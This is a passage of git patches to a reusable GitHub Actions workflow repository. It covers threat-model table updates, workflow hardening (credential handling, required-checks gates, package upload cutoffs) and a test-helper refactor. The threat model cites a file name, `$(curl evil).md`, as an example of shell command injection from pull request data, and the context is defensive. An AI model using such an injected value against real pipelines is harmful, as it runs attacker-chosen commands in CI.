dispatches. | ## Threats and controls @@ -67,6 +68,8 @@ An attacker who controls any of these already has what github-workflows could gi | Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | | Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | | Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | +| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with Pages write. The mirror compares a published tag's tree, refuses different content, and pushes without force. | +| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | Caller configuration: the mirror holds `contents: write` in the job that runs hooks, so callers trigger it only on pushes to `main`, schedules and dispatches. | ## Release chain @@ -75,13 +78,15 @@ Callers pin the full commit SHA of a release. ## Vulnerability or bug -| Report | Verdict | Why | -| ---------------------------------------------------------------------------------- | ------------- | -------------------------------------- | -| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | -| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | -| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | -| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | -| A tool update waits seven days to land | Expected | The cooldown is deliberate. | +| Report | Verdict | Why | +| ------------------------------------------------------------------------------------ | ------------- | ------------------------------------------------------------------------------- | +| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | +| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | +| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A release patch whose caller `allowed-paths` admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | +| A tool update waits seven days to land | Expected | The cooldown is deliberate. | +| A caller runs the mirror on `pull_request` | Not ours | Caller configuration; the README asks for push, schedule and dispatch triggers. | ## Severity @@ -94,6 +99,8 @@ Callers pin the full commit SHA of a release. ## Accepted risks - The build job runs the project's own build backend; its outputs, not its behavior, are verified. +- The mirror job runs the caller's pre-commit hooks while it holds `contents: write`. Callers limit its triggers as + described in the README. ## Keeping this current From 74c20d9dae57c47a0726aef49c5f0abbdff1dded Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:19:30 -0800 Subject: [PATCH 25/38] =?UTF-8?q?=E2=99=BB=EF=B8=8F=20refactor(workflows):?= =?UTF-8?q?=20unify=20gates=20and=20inputs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Every gate calls required-checks, including the maturin and JetBrains gates that used inline jq. Maturin allows only a skipped sdist job. Tool installs in the new reusable workflows take exclude-newer and exclude-newer-package like the existing Actions. Inputs use kebab-case, jobs declare permissions explicitly, and checkouts do not persist credentials. The mirror workflow authenticates pushes with gh auth setup-git instead of the persisted checkout token. --- .github/workflows/build-maturin-wheels.yaml | 15 ++++---- .github/workflows/check.yaml | 2 +- .github/workflows/ci.yaml | 12 ++++-- .github/workflows/github-release.yaml | 10 +++++ .github/workflows/jetbrains-plugin-check.yaml | 16 ++++---- .github/workflows/latex-to-pages.yaml | 4 +- .github/workflows/open-maintenance-pr.yaml | 20 +++++----- .../workflows/publish-pre-commit-mirror.yaml | 37 ++++++++++++++++--- .github/workflows/release-notes.yaml | 10 +++++ .../workflows/update-python-dependencies.yaml | 5 +++ 10 files changed, 92 insertions(+), 39 deletions(-) diff --git a/.github/workflows/build-maturin-wheels.yaml b/.github/workflows/build-maturin-wheels.yaml index da5acbd..53d3fee 100644 --- a/.github/workflows/build-maturin-wheels.yaml +++ b/.github/workflows/build-maturin-wheels.yaml @@ -159,7 +159,7 @@ jobs: uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: artifact-ids: ${{ needs.source.outputs.artifact-id }} - - name: ๐Ÿ Install uv + - name: ๐Ÿ Install uv and Python uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 with: version: latest-known @@ -187,14 +187,13 @@ jobs: if-no-files-found: error gate: name: ๐Ÿšฆ Build distributions pass - if: ${{ always() }} + if: ${{ !cancelled() }} needs: [source, build, sdist] runs-on: ubuntu-26.04 permissions: {} steps: - - name: ๐Ÿšฆ Fail when a build job failed or was cancelled - env: - NEEDS_JSON: ${{ toJSON(needs) }} - run: | - set -euo pipefail - jq -e 'all(to_entries[]; .value.result == "success" or .value.result == "skipped")' <<<"$NEEDS_JSON" + - name: ๐Ÿšฆ Require all needed jobs to pass + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} + allow-skipped: sdist diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml index eace86d..df278bc 100644 --- a/.github/workflows/check.yaml +++ b/.github/workflows/check.yaml @@ -55,7 +55,7 @@ jobs: with: fetch-depth: 0 persist-credentials: false - - name: ๐Ÿ Install uv + - name: ๐Ÿ Install uv and Python uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 with: version: latest-known diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index d38b8f6..f68fe55 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -2,8 +2,7 @@ name: Check on: pull_request: types: [opened, reopened, synchronize] -permissions: - contents: read +permissions: {} concurrency: group: check-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} cancel-in-progress: ${{ github.run_attempt == 1 }} @@ -110,7 +109,9 @@ jobs: cache-suffix: ${{ github.job }} cache-dependency-glob: pyproject.toml - name: ๐Ÿงช Run Action tests - run: uvx --with tox-uv tox run -e test + env: + EXCLUDE_NEWER: 7 days + run: uvx --exclude-newer "$EXCLUDE_NEWER" --with tox-uv tox run -e test type: name: ๐Ÿ”Ž Type check runs-on: ubuntu-26.04 @@ -130,12 +131,15 @@ jobs: cache-suffix: ${{ github.job }} cache-dependency-glob: pyproject.toml - name: ๐Ÿ”Ž Check Python types - run: uvx --with tox-uv tox run -e type + env: + EXCLUDE_NEWER: 7 days + run: uvx --exclude-newer "$EXCLUDE_NEWER" --with tox-uv tox run -e type gate: name: ๐Ÿšฆ Required checks pass if: ${{ !cancelled() }} needs: [check, shell, test, type] runs-on: ubuntu-26.04 + permissions: {} steps: - name: ๐Ÿšฆ Require all needed jobs to pass uses: $/required-checks diff --git a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml index 481b999..4e2a533 100644 --- a/.github/workflows/github-release.yaml +++ b/.github/workflows/github-release.yaml @@ -30,6 +30,14 @@ on: description: Directory of extra GitHub Release assets; dist attaches the distributions default: "" type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string permissions: {} jobs: github-release: @@ -63,6 +71,8 @@ jobs: project: ${{ inputs.project }} version: ${{ inputs.version }} dist: dist + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} - name: ๐Ÿš€ Publish GitHub release uses: $/publish-github-release env: diff --git a/.github/workflows/jetbrains-plugin-check.yaml b/.github/workflows/jetbrains-plugin-check.yaml index a5da070..f5bfb23 100644 --- a/.github/workflows/jetbrains-plugin-check.yaml +++ b/.github/workflows/jetbrains-plugin-check.yaml @@ -44,7 +44,7 @@ jobs: with: tool-cache: false large-packages: false - - name: ๐Ÿ“ฅ Check out code + - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false @@ -54,7 +54,7 @@ jobs: cache: false # The build feeds the signed release, so Gradle's cache stays off to keep a cached artifact out of it. - name: โ˜• Set up Gradle - uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 # zizmor: ignore[cache-poisoning] + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 with: cache-disabled: true - name: ๐Ÿท๏ธ Set plugin version @@ -108,7 +108,7 @@ jobs: dotnet: true haskell: true docker-images: true - - name: ๐Ÿ“ฅ Check out code + - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false @@ -148,7 +148,7 @@ jobs: with: tool-cache: false large-packages: false - - name: ๐Ÿ“ฅ Check out code + - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false @@ -194,8 +194,6 @@ jobs: permissions: {} steps: - name: ๐Ÿšฆ Require all needed jobs to pass - env: - NEEDS_JSON: ${{ toJSON(needs) }} - run: | - jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" - jq -e 'all(to_entries[]; .value.result == "success")' <<<"$NEEDS_JSON" + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/.github/workflows/latex-to-pages.yaml b/.github/workflows/latex-to-pages.yaml index d0e5e26..4f96f51 100644 --- a/.github/workflows/latex-to-pages.yaml +++ b/.github/workflows/latex-to-pages.yaml @@ -23,7 +23,7 @@ jobs: pdf-name: ${{ steps.pdf.outputs.name }} pdf-sha256: ${{ steps.pdf.outputs.sha256 }} steps: - - name: ๐Ÿ›Ž๏ธ Check out repository + - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false @@ -67,7 +67,7 @@ jobs: contents: write pages: read steps: - - name: ๐Ÿ›Ž๏ธ Check out repository + - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml index 9058306..b3752aa 100644 --- a/.github/workflows/open-maintenance-pr.yaml +++ b/.github/workflows/open-maintenance-pr.yaml @@ -107,11 +107,11 @@ jobs: esac matched=false for pattern in "${patterns[@]}"; do - case "$path" in - $pattern) + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then matched=true - ;; - esac + break + fi done if [[ "$matched" != true ]]; then echo "::error::unexpected maintenance path: $path" >&2 @@ -205,11 +205,11 @@ jobs: esac matched=false for pattern in "${patterns[@]}"; do - case "$path" in - $pattern) + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then matched=true - ;; - esac + break + fi done if [[ "$matched" != true ]]; then echo "::error::unexpected maintenance path: $path" >&2 @@ -268,7 +268,7 @@ jobs: GH_TOKEN: ${{ steps.token.outputs.token }} BASE: ${{ inputs.base }} BRANCH: ${{ inputs.branch }} - LABELS: ${{ inputs.labels }} + LABEL_LINES: ${{ inputs.labels }} TITLE: ${{ inputs.title }} run: | set -euo pipefail @@ -288,7 +288,7 @@ jobs: if [[ -n "$label" ]]; then labels+=("$label") fi - done <<<"$LABELS" + done <<<"$LABEL_LINES" label_args=() for label in "${labels[@]}"; do label_args+=(--label "$label") diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index 99fcf49..4904f29 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -10,6 +10,14 @@ on: description: Regular expression for the files the mirrored hook accepts required: true type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" permissions: {} concurrency: group: pre-commit-mirror-${{ github.repository }} @@ -22,11 +30,10 @@ jobs: permissions: contents: write steps: - # The push below reuses this checkout's credential, so the token never appears in the remote URL. - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 # zizmor: ignore[artipacked] + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - persist-credentials: true + persist-credentials: false - name: ๐Ÿ“ฆ Install uv uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 with: @@ -34,11 +41,17 @@ jobs: enable-cache: false - name: ๐Ÿชž Generate mirror env: + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} PACKAGE_NAME: ${{ inputs.package-name }} FILES_REGEX: ${{ inputs.files-regex }} run: | set -euo pipefail - uvx -p 3.15 --from pre-commit-mirror-maker==1.14.0 pre-commit-mirror . \ + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + uvx -p 3.15 "${options[@]}" --from pre-commit-mirror-maker==1.14.0 pre-commit-mirror . \ --language=python --package-name="$PACKAGE_NAME" --files-regex "$FILES_REGEX" - name: ๐Ÿ“ Update README with current version run: | @@ -46,9 +59,16 @@ jobs: version=$(cat .version) sed -i "s/rev: \".*\"/rev: \"v$version\"/" README.md - name: ๐Ÿ’… Format generated files + env: + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} run: | set -euo pipefail - prek=(uvx --from prek==0.5.5 prek) + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + prek=(uvx "${options[@]}" --from prek==0.5.5 prek) # The first run exits 1 when a hook rewrites files; the second run must pass on the rewritten tree. status=0 "${prek[@]}" run --all-files || status=$? @@ -65,8 +85,14 @@ jobs: exit "$status" ;; esac + - name: โš™๏ธ Configure Git credentials + env: + GH_TOKEN: ${{ github.token }} + run: gh auth setup-git --hostname github.com --force - name: ๐Ÿ”„ Commit mirror changes id: commit + env: + GH_TOKEN: ${{ github.token }} run: | set -euo pipefail git add -A @@ -102,6 +128,7 @@ jobs: - name: ๐Ÿš€ Push mirror commit and tag if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} env: + GH_TOKEN: ${{ github.token }} VERSION: ${{ steps.commit.outputs.version }} run: | set -euo pipefail diff --git a/.github/workflows/release-notes.yaml b/.github/workflows/release-notes.yaml index 8ce0e8b..3834f84 100644 --- a/.github/workflows/release-notes.yaml +++ b/.github/workflows/release-notes.yaml @@ -22,6 +22,14 @@ on: description: Package section of a shared Markdown changelog; empty for one package default: "" type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string outputs: artifact-id: description: Artifact ID of the rendered GitHub Release notes @@ -55,6 +63,8 @@ jobs: with: groups: release-notes venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} - name: ๐Ÿ“ Render release notes uses: $/render-release-notes with: diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml index 3ad5836..87f8033 100644 --- a/.github/workflows/update-python-dependencies.yaml +++ b/.github/workflows/update-python-dependencies.yaml @@ -85,6 +85,8 @@ jobs: with: groups: release-prepare venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} - id: inputs name: โš™๏ธ Validate inputs and set the cutoffs env: @@ -215,6 +217,9 @@ jobs: done <"$RUNNER_TEMP/file-groups" - name: ๐Ÿ”’ Refresh release lock uses: $/refresh-release-lock + with: + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} - name: ๐Ÿงน Run repository hooks continue-on-error: true uses: $/cooled-prek From 41370c24927eea611d53f6d8316dbbedfbf3186c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:19:30 -0800 Subject: [PATCH 26/38] =?UTF-8?q?=E2=99=BB=EF=B8=8F=20refactor(tests):=20s?= =?UTF-8?q?hare=20one=20workflow=20helper=20set?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit conftest keeps one typed YAML path (load_yaml with BaseLoader, at, mapping, text, steps, step) and one step runner (run_workflow_step). The runner expands ${{ }} from explicit values unless the env override supplies the variable. Tests drop Any, cast and local loaders. --- tests/build_maturin_wheels/test_workflow.py | 166 +++++++------ tests/check_nab_exceptions/test_action.py | 47 ++-- tests/check_workflow/test_check.py | 75 +++--- tests/codeql_workflow/test_codeql.py | 59 +++-- tests/conftest.py | 150 +++++------- tests/jetbrains_plugin_check/test_check.py | 151 ------------ tests/jetbrains_plugin_check/test_plugin.py | 218 ++++++++++++++++++ tests/latex_to_pages/test_latex.py | 164 +++++++------ tests/open_maintenance_pr/test_open.py | 206 +++++++++-------- .../test_post_release.py | 55 ++--- .../test_release_creator.py | 169 +++++++------- .../publish_pre_commit_mirror/test_mirror.py | 208 ++++++++++------- .../test_check_nab_exceptions.py | 37 +-- tests/refresh_release_lock/test_refresh.py | 137 +++++------ .../test_github_release_workflow.py | 49 ++-- .../test_release_notes_workflow.py | 64 ++--- tests/render_release_notes/test_notes.py | 16 +- tests/required_checks/test_gate.py | 36 ++- .../stage_jetbrains_marketplace/test_stage.py | 34 ++- tests/test_conftest.py | 36 ++- .../update_python_dependencies/test_update.py | 172 ++++++++------ tests/upgrade_release_tools/test_upgrade.py | 90 ++++---- tests/validate_release_patch/test_validate.py | 82 +++---- 23 files changed, 1284 insertions(+), 1137 deletions(-) delete mode 100644 tests/jetbrains_plugin_check/test_check.py create mode 100644 tests/jetbrains_plugin_check/test_plugin.py diff --git a/tests/build_maturin_wheels/test_workflow.py b/tests/build_maturin_wheels/test_workflow.py index a6fbc05..829bc0b 100644 --- a/tests/build_maturin_wheels/test_workflow.py +++ b/tests/build_maturin_wheels/test_workflow.py @@ -1,48 +1,39 @@ -from __future__ import annotations - import json -import os import re -import subprocess from pathlib import Path -from typing import Any import pytest -import yaml - -ROOT = Path(__file__).resolve().parents[2] -WORKFLOW = ROOT / ".github/workflows/build-maturin-wheels.yaml" -PINNED = re.compile(r"^(\$/|[\w.-]+/[\w./-]+@[0-9a-f]{40})") +from conftest import WORKFLOWS, JsonObject, action, at, load_yaml, mapping, step, steps, text @pytest.fixture(scope="module") -def workflow() -> dict[Any, Any]: - return yaml.safe_load(WORKFLOW.read_text()) +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "build-maturin-wheels.yaml") -def test_inputs_have_documented_defaults(workflow: dict[Any, Any]) -> None: - inputs = workflow[True]["workflow_call"]["inputs"] +def test_inputs_have_documented_defaults(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) - assert inputs["package-path"]["default"] == "." - assert inputs["sdist"]["default"] is True - assert inputs["release-build"]["default"] is False - assert inputs["pre-build-command"]["default"] == "" - assert inputs["post-build-command"]["default"] == "" - assert inputs["matrix"]["required"] is True - assert inputs["package-name"]["required"] is True + assert at(inputs, "package-path", "default") == "." + assert at(inputs, "sdist", "default") == "true" + assert at(inputs, "release-build", "default") == "false" + assert at(inputs, "pre-build-command", "default") == "" + assert at(inputs, "post-build-command", "default") == "" + assert at(inputs, "matrix", "required") == "true" + assert at(inputs, "package-name", "required") == "true" -def test_matrix_comes_from_the_json_input(workflow: dict[Any, Any]) -> None: - assert workflow["jobs"]["build"]["strategy"]["matrix"] == {"include": "${{ fromJSON(inputs.matrix) }}"} - assert workflow["jobs"]["build"]["runs-on"] == "${{ matrix.os }}" +def test_matrix_comes_from_the_json_input(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "build", "strategy", "matrix") == {"include": "${{ fromJSON(inputs.matrix) }}"} + assert at(workflow, "jobs", "build", "runs-on") == "${{ matrix.os }}" -def test_artifact_names_match_the_callers_names(workflow: dict[Any, Any]) -> None: +def test_artifact_names_match_the_callers_names(workflow: JsonObject) -> None: uploads = { - step["name"]: step["with"]["name"] + text(item["name"]): text(at(item, "with", "name")) for job in ("build", "sdist") - for step in workflow["jobs"][job]["steps"] - if step.get("uses", "").startswith("actions/upload-artifact@") + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/upload-artifact@") } assert uploads == { @@ -51,73 +42,96 @@ def test_artifact_names_match_the_callers_names(workflow: dict[Any, Any]) -> Non } -def test_release_mode_disables_sccache_for_tags_or_input(workflow: dict[Any, Any]) -> None: - release = workflow["jobs"]["source"]["outputs"]["release"] - build = next(step for step in workflow["jobs"]["build"]["steps"] if step["name"] == "๐Ÿ—๏ธ Build wheels") - - assert release == "${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }}" - assert build["with"]["sccache"] == "${{ needs.source.outputs.release != 'true' }}" +def test_release_mode_disables_sccache_for_tags_or_input(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "source", "outputs", "release") == ( + "${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }}" + ) + assert at(step(workflow, "build", "๐Ÿ—๏ธ Build wheels"), "with", "sccache") == ( + "${{ needs.source.outputs.release != 'true' }}" + ) -def test_post_build_command_runs_after_maturin_and_before_upload(workflow: dict[Any, Any]) -> None: - names = [step["name"] for step in workflow["jobs"]["build"]["steps"]] +def test_post_build_command_runs_after_maturin_and_before_upload(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "build")] assert names.index("๐Ÿ—๏ธ Build wheels") < names.index("๐Ÿ—๏ธ Run post-build command") < names.index("๐Ÿ“ค Upload wheels") -def test_pre_build_command_runs_once_in_the_source_job(workflow: dict[Any, Any]) -> None: - steps = [step["name"] for step in workflow["jobs"]["source"]["steps"]] +def test_pre_build_command_runs_once_in_the_source_job(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "source")] - assert "๐Ÿท๏ธ Run pre-build command" in steps - assert steps.index("๐Ÿท๏ธ Run pre-build command") < steps.index("๐Ÿ“ค Upload source") - assert "๐Ÿท๏ธ Run pre-build command" not in [step["name"] for step in workflow["jobs"]["build"]["steps"]] + assert "๐Ÿท๏ธ Run pre-build command" in names + assert names.index("๐Ÿท๏ธ Run pre-build command") < names.index("๐Ÿ“ค Upload source") + assert "๐Ÿท๏ธ Run pre-build command" not in [item["name"] for item in steps(workflow, "build")] -def test_no_job_requests_a_write_token(workflow: dict[Any, Any]) -> None: - for name, job in workflow["jobs"].items(): - assert job.get("permissions", {}) in ({}, {"contents": "read"}), name - assert workflow["permissions"] == {} +def test_no_job_requests_a_write_token(workflow: JsonObject) -> None: + for name, job in mapping(workflow["jobs"]).items(): + assert mapping(job).get("permissions", {}) in ({}, {"contents": "read"}), name + assert at(workflow, "permissions") == {} -def test_every_external_action_is_sha_pinned(workflow: dict[Any, Any]) -> None: - uses = [step["uses"] for job in workflow["jobs"].values() for step in job["steps"] if "uses" in step] +def test_every_external_action_is_sha_pinned(workflow: JsonObject) -> None: + uses = [text(item["uses"]) for job in mapping(workflow["jobs"]) for item in steps(workflow, job) if "uses" in item] + pinned = re.compile(r"^(\$/|[\w.-]+/[\w./-]+@[0-9a-f]{40})") assert uses - assert all(PINNED.match(value) for value in uses), uses + assert all(pinned.match(value) for value in uses), uses -def test_every_checkout_keeps_credentials_out_of_the_job(workflow: dict[Any, Any]) -> None: +def test_every_checkout_keeps_credentials_out_of_the_job(workflow: JsonObject) -> None: checkouts = [ - step - for job in workflow["jobs"].values() - for step in job["steps"] - if step.get("uses", "").startswith("actions/checkout@") + item + for job in mapping(workflow["jobs"]) + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/checkout@") ] assert checkouts - assert all(step["with"]["persist-credentials"] is False for step in checkouts) - - -def test_gate_accepts_success_and_skipped_jobs(workflow: dict[Any, Any]) -> None: - run = workflow["jobs"]["gate"]["steps"][0]["run"] - - needs = {"source": {"result": "success"}, "build": {"result": "success"}, "sdist": {"result": "skipped"}} - assert _gate(run, needs).returncode == 0 - - -@pytest.mark.parametrize("result", ["failure", "cancelled"]) -def test_gate_rejects_failed_or_cancelled_jobs(workflow: dict[Any, Any], result: str) -> None: - run = workflow["jobs"]["gate"]["steps"][0]["run"] - - needs = {"source": {"result": "success"}, "build": {"result": result}, "sdist": {"result": "success"}} - assert _gate(run, needs).returncode != 0 + assert all(at(item, "with", "persist-credentials") == "false" for item in checkouts) + + +def test_gate_delegates_to_required_checks(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "gate") == { + "name": "๐Ÿšฆ Build distributions pass", + "if": "${{ !cancelled() }}", + "needs": ["source", "build", "sdist"], + "runs-on": "ubuntu-26.04", + "permissions": {}, + "steps": [ + { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}", "allow-skipped": "sdist"}, + } + ], + } -def _gate(run: str, needs: dict[Any, Any]) -> subprocess.CompletedProcess[str]: - return subprocess.run( - ["bash", "-c", run], - env=os.environ | {"NEEDS_JSON": json.dumps(needs)}, - text=True, - capture_output=True, - check=False, +@pytest.mark.parametrize( + ("results", "accepted"), + [ + pytest.param({"source": "success", "build": "success", "sdist": "success"}, True, id="all-succeeded"), + pytest.param({"source": "success", "build": "success", "sdist": "skipped"}, True, id="sdist-skipped"), + pytest.param({"source": "success", "build": "success", "sdist": "failure"}, False, id="sdist-failed"), + pytest.param({"source": "success", "build": "failure", "sdist": "success"}, False, id="build-failed"), + pytest.param({"source": "success", "build": "cancelled", "sdist": "success"}, False, id="build-cancelled"), + pytest.param({"source": "success", "build": "skipped", "sdist": "success"}, False, id="build-skipped"), + ], +) +def test_gate_requires_build_jobs_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: dict[str, str], + accepted: bool, +) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=json.dumps({name: {"result": outcome} for name, outcome in results.items()}), + ALLOW_SKIPPED="sdist", ) + assert (result.returncode == 0) is accepted, result.stderr diff --git a/tests/check_nab_exceptions/test_action.py b/tests/check_nab_exceptions/test_action.py index 60bb7ab..910e175 100644 --- a/tests/check_nab_exceptions/test_action.py +++ b/tests/check_nab_exceptions/test_action.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from pathlib import Path import pytest @@ -26,31 +24,28 @@ def test_check_nab_exceptions_action_accepts_dated_exceptions( assert (result.returncode, result.stderr) == (0, "") -def test_check_nab_exceptions_action_names_undated_package(tmp_path: Path, action_scripts: Path) -> None: - (tmp_path / "pyproject.toml").write_text("[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n") - - result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") - - assert (result.returncode, result.stderr) == ( - 1, - ( - "::error::pyproject.toml: packages.sphinx uploaded-prior-to exception needs a " - "'# expires YYYY-MM-DD' comment directly above it\n" +@pytest.mark.parametrize( + ("content", "message"), + [ + pytest.param( + "[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "pyproject.toml: packages.sphinx uploaded-prior-to exception needs a " + "'# expires YYYY-MM-DD' comment directly above it", + id="undated", ), - ) - - -def test_check_nab_exceptions_action_names_expired_package(tmp_path: Path, action_scripts: Path) -> None: - (tmp_path / "pyproject.toml").write_text( - "# expires 2000-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n" - ) + pytest.param( + "# expires 2000-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "pyproject.toml: packages.sphinx uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry", + id="expired", + ), + ], +) +def test_check_nab_exceptions_action_rejects_exception( + tmp_path: Path, action_scripts: Path, content: str, message: str +) -> None: + (tmp_path / "pyproject.toml").write_text(content) result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") - assert (result.returncode, result.stderr) == ( - 1, - ( - "::error::pyproject.toml: packages.sphinx uploaded-prior-to exception expired on 2000-01-01; " - "remove it or extend its expiry\n" - ), - ) + assert (result.returncode, result.stderr) == (1, f"::error::{message}\n") diff --git a/tests/check_workflow/test_check.py b/tests/check_workflow/test_check.py index c0f64a1..a7cbc16 100644 --- a/tests/check_workflow/test_check.py +++ b/tests/check_workflow/test_check.py @@ -1,23 +1,13 @@ -from __future__ import annotations - import os import subprocess from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml - -ROOT: Final = Path(__file__).resolve().parents[2] -# BaseLoader keeps the `on` key a string and every scalar a string, as written in the file. -WORKFLOW: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/check.yaml").read_text(), Loader=yaml.BaseLoader) -INPUTS: Final[dict[str, Any]] = WORKFLOW["on"]["workflow_call"]["inputs"] -TEST: Final[dict[str, Any]] = WORKFLOW["jobs"]["test"] -GATE: Final[dict[str, Any]] = WORKFLOW["jobs"]["gate"] - +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text -def _step(name: str) -> dict[str, Any]: - return next(step for step in TEST["steps"] if step["name"] == name) +WORKFLOW: Final[JsonObject] = load_yaml(WORKFLOWS / 